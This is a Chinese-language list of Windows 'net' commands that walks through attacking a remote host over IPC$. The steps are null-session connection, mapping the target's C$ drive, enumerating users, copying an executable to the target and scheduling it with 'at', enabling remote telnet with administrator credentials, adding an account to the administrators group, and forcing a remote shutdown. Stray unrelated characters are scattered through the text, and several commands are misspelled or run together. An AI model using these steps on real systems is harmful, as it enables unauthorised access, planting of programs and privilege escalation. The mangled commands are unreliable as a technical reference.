1.建立空連接
????net use //IP/ipc$ ""/user:""
2.建立非空連接
????net use //IP/ipc$ "密碼"/user:"用戶名"
3.映射默認共享
????net use z: //IP/c$ "密碼"/user:"用戶名"
#(即可將對方的c盤映射為自己的z盤，其他盤類推) 如果已經(jīng)和目標建立了ipc$悯恍，則可以直接用IP+盤符+$訪問,具體命令 :
????net use z: //IP/c$
4.刪除一個ipc$連接
????net use //IP/ipc$ /del
5.刪除共享映射
????net use c: /del#刪除映射的c盤哨鸭，其他盤類推
????net use * /del#刪除全部,會有提示要求按y確認
6.看遠程主機的共享資源
????net view //IP#（但看不到默認共享）
7.查看本地主機的共享資源
????net share#（可以看到本地的默認共享）
8.遠程主機的用戶名列表
????nbtstat-AIP
9.得到本地主機的用戶列表
????net user
10.查看遠程主機的當前時間
????net time //IP
11.顯示本地主機當前服務(wù)
????netstart
12.啟動/關(guān)閉本地服務(wù)
????netstart服務(wù)名 /y
????netstop服務(wù)名 /y
13.映射遠程共享
????net use z: //IP/baby
#此命令將共享名為baby的共享資源映射到z盤
14.刪除共享映射
????net use c: /del#刪除映射的c盤，其他盤類推
????net use * /del /y#刪除全部
15.向遠程主機復(fù)制文件
????copy /路徑/srv.exe //IP/共享目錄名窃躲，
#如： copy ccbirds.exe //*.*.*.*/c 即將當前目錄下的文件復(fù)制到對方c盤內(nèi)
16.遠程添加計劃任務(wù)
????at //ip 時間 程序名
#如： at //127.0.0.0 11:00 love.exe
#注意：時間盡量使用24小時制祭芦；在系統(tǒng)默認搜索路徑（比如system32/）下不用加路徑涨岁，否則必須加全路徑
17.開啟遠程主機的telnet
這里要用到一個小程序：opentelnet.exe漠酿，各大下載站點都有冯凹，而且還需要滿足四個要求：
1）目標開啟了ipc$共享 2）你要擁有管理員密碼和帳號 3）目標開啟RemoteRegistry服務(wù)，用戶就該ntlm認證 4）對WIN2K/XP有效炒嘲，NT未經(jīng)測試 命令格式：OpenTelnet.exe //server account psw NTLM認證方式 port 試例如下：c:/>OpenTelnet.exe //... administrator "" 1 90
18.激活用戶/加入管理員組
????net uesr account /active:yes
????net localgroup administrators account /add
19.關(guān)閉遠程主機的telnet
同樣需要一個小程序：ResumeTelnet.exe 命令格式：ResumeTelnet.exe //server account psw 試例如下：c:/>ResumeTelnet.exe //... administrator ""
20.刪除一個已建立的ipc$連接
????net use //IP/ipc$ /del
21.遠程關(guān)機重啟實例
#建立連接
????net use \\IP password /user:username
#使用shutdown命令實現(xiàn)關(guān)機并重啟
????shutdown-r-m\\IP-s–t0
#刪除連接
????net use \\IP /del
